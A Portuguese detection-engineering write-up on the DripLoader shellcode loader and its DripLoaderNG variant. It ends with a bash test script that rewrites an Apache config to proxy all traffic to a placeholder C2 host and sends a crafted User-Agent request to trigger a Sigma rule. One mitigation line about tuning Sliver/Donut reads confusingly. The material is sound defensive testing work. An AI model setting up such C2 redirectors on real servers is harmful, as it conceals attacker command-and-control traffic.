Malware DripLoader: Execução de Shellcode e Evasão de Defesa

Resumo

O artigo examina o DripLoader, um carregador de shellcode que aloca memória, escreve o shellcode nela, altera permissões de página para executável e então o executa. Aborda como o carregador é entregue via um redirecionador HTTPS apoiado pela estrutura Havoc C2, e como seu código pode ser ofuscado com compressão e chamadas de sistema indiretas. O artigo também apresenta uma variante atualizada, DripLoaderNG, que depende de carregamento por .node e truques adicionais de evasão, junto com orientação prática de detecção e ferramentas de análise de memória.

Investigação

A investigação descreve uma configuração de laboratório onde o Havoc envia shellcode comprimido através de um redirecionador Apache personalizado. O carregador reserva regiões de 64 KB, comite páginas de 4 KB, modifica bandeiras de proteção e executa a carga útil. O DripLoaderNG introduz chamadas de sistema indiretas e carregamento de módulos .node voltados para a aplicação Slack Electron. A detecção é demonstrada usando ferramentas como Moneta, PE-sieve, e consultas KQL de apoio.

Mitigação

As etapas de mitigação incluem monitorar redirecionamentos HTTPS suspeitos, identificar strings de user-agent falsas, sinalizar arquivos .node raros e alavancar recursos EDR para identificar o comportamento de chamadas de sistema indiretas. Outras recomendações envolvem ajustar configurações do Sliver/Donut para reduzir a manipulação do AMSI e limitar a execução de módulos nativos não assinados.

Resposta

Quando atividade é detectada, isolar o endpoint impactado, parar o processo ofensivo, capturar dumps de memória e inspecionar o shellcode injetado. Bloquear o domínio ou IP C2, redefinir credenciais expostas, e implementar regras defensivas para o user-agent específico e indicadores de arquivos .node. Acompanhar com análise forense e atualizar conteúdo de detecção para cobrir padrões observados de chamadas de sistema indiretas.

Execução de Simulação

Pré-requisito: A Verificação Pre-flight de Telemetria & Baseline deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e objetivar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

• Narrativa do Ataque e Comandos:
  Um operador da infraestrutura maliciosa prepara o servidor web vítima para atuar como um canal para o servidor C2. Eles inserem duas RewriteRule diretrizes na configuração do host virtual do Apache: uma que faz proxy de todo o tráfego de entrada para https://C2.TeamServer.IP:443 ([P] e uma segunda que redireciona qualquer solicitação para um URL benigno do Google ([L,R=302]). Após recarregar o Apache, o atacante emite uma solicitação HTTP fabricada contendo a string exata de User-Agent falsa definida na regra Sigma. O Apache processa a solicitação, registra o User-Agent, e o mecanismo de reescrita registra a ação do proxy, satisfazendo ambas as condições de detecção.

• Script de Teste de Regressão:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Script de validação de detecção do DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # 1. Fazer backup da configuração atual
  sudo cp "$APACHE_CONF" "$BACKUP_CONF"
  
  # 2. Inserir regras de rewrite maliciosas
  sudo bash -c "cat >> $APACHE_CONF <<'EOF'
  
  # BEGIN Regras de Teste DripLoader
  RewriteEngine On
  RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
  RewriteRule ^.*$ "https://www.google.com" [L,R=302]
  # END Regras de Teste DripLoader
  
  EOF"
  
  # 3. Recarregar Apache para aplicar mudanças
  sudo systemctl reload apache2
  
  # 4. Emitir solicitação maliciosa com o User-Agent fabricado exato
  curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
  
  echo "Solicitação maliciosa enviada. Verifique o SIEM para alerta de detecção."

• Comandos de Limpeza:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Limpeza de validação de detecção do DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # Restaurar configuração original
  if [[ -f "$BACKUP_CONF" ]]; then
      sudo cp "$BACKUP_CONF" "$APACHE_CONF"
      sudo systemctl reload apache2
      echo "Configuração original do Apache restaurada."
  else
      echo "Backup não encontrado; limpeza manual pode ser necessária."
  fi